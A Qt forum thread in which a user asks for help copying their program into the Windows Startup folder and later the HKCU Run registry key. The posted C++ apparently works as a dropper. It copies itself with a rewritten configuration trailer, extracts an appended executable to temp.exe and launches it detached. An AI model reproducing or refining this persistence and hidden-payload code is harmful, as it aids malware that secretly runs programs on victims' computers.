Important: Please read the Qt Code of Conduct - https://forum.qt.io/topic/113070/qt-code-of-conduct

Help with this code copying my application startup



  • Hi i want to run my qt app since startup.
    QIODevice::write (QFile, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\miprogram.exe"): device not open

    Code, in the code i have the function tiempocopiar to copy and the other function to put my new configuration for my tool:

    //
    void MainWindow::tiempoCopiar()
    {
        /** Copia el servidor al directorio de inicio **/
        QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
        //Copiar a los posibles directorios de inicio de windows
        copiarServidor(datos,QDir::homePath().left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this->nombreCopiable);//
        
        copiar.stop();
    }
    
    
    void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
    {
    /** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
        QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
        QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
        if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
        {
            //TODO: ":Esto está muy poco optimizado, mejorar más adelante."
            QDir directorio;
            qint64 tamano;
            tamano = this->tamanoAdjunto;
            QFile adjunto;
            QFile servidor;
            adjunto.setFileName(directorio.tempPath() + "/temp.exe");
            servidor.setFileName(QApplication::applicationFilePath());
            adjunto.open(QFile::WriteOnly);
            servidor.open(QFile::ReadOnly);
            if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
            {
                QFile copiable;
                copiable.setFileName(destino);
                copiable.open(QFile::WriteOnly);
                copiable.write(servidor.read(servidor.size() - 1024 - tamano));
                copiable.write(tramaConfiguracion,1024);
                copiable.close();
            }
            servidor.seek(servidor.size() - 1024 - tamano);
            adjunto.write(servidor.read(tamano));
            servidor.close();
            adjunto.close();
            proceso.setWorkingDirectory(directorio.tempPath());
            QString exeFileName = directorio.tempPath() + "/temp.exe";
            QProcess::startDetached(exeFileName);
        }
        else
        {
            if(this->nombreCopiable != "noiniciar")
            {
                QFile servidor;
                QFile copiable;
                servidor.setFileName(QApplication::applicationFilePath());
                copiable.setFileName(destino);
                copiable.open(QFile::WriteOnly);
                servidor.open(QFile::ReadOnly);
                copiable.write(servidor.read(servidor.size() - 1024));
                copiable.write(tramaConfiguracion,1024);
                copiable.close();
                servidor.close();
            }
        }
    }

  • Lifetime Qt Champion

    @RIVOPICO You should check what open() returns and if it returns false print out http://doc.qt.io/qt-5/qiodevice.html#errorString
    I think you should not copy your exe to that location: it will not run without all needed Qt DLLs. You should create a link to your exe there.



  • Yes the problem is the rights some way to link this to my startup?. I could use settings to put in my Run folder when i copied the file


  • Lifetime Qt Champion

    @RIVOPICO You should use C:\Users\USER_NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.
    And as I said you should NOT copy your whole application there!
    It's not how it should work.
    Create a link to your executable there.



  • Hai...
    While giving filepath use forward slash(/) instead of backward(\).
    It may works...try this..



  • Ok folder appdata not Works for startup i will try this
    QSettings settings("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
    QSettings::NativeFormat);
    settings.setValue("YourApplicationName",
    QCoreApplication::applicationFilePath().replace('/', '\'));



  • i can change the path of the file with this?:
    QSettings settings("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
    QSettings::NativeFormat);
    settings.setValue("YourApplicationName",
    QCoreApplication::applicationFilePath().replace('/', ''));
    And if i cant , i can call the other file? I want to change the path of file to other. And i know not it is good idea yes


  • Lifetime Qt Champion

    Hi,

    QDir offers the toNativeSeparator.


Log in to reply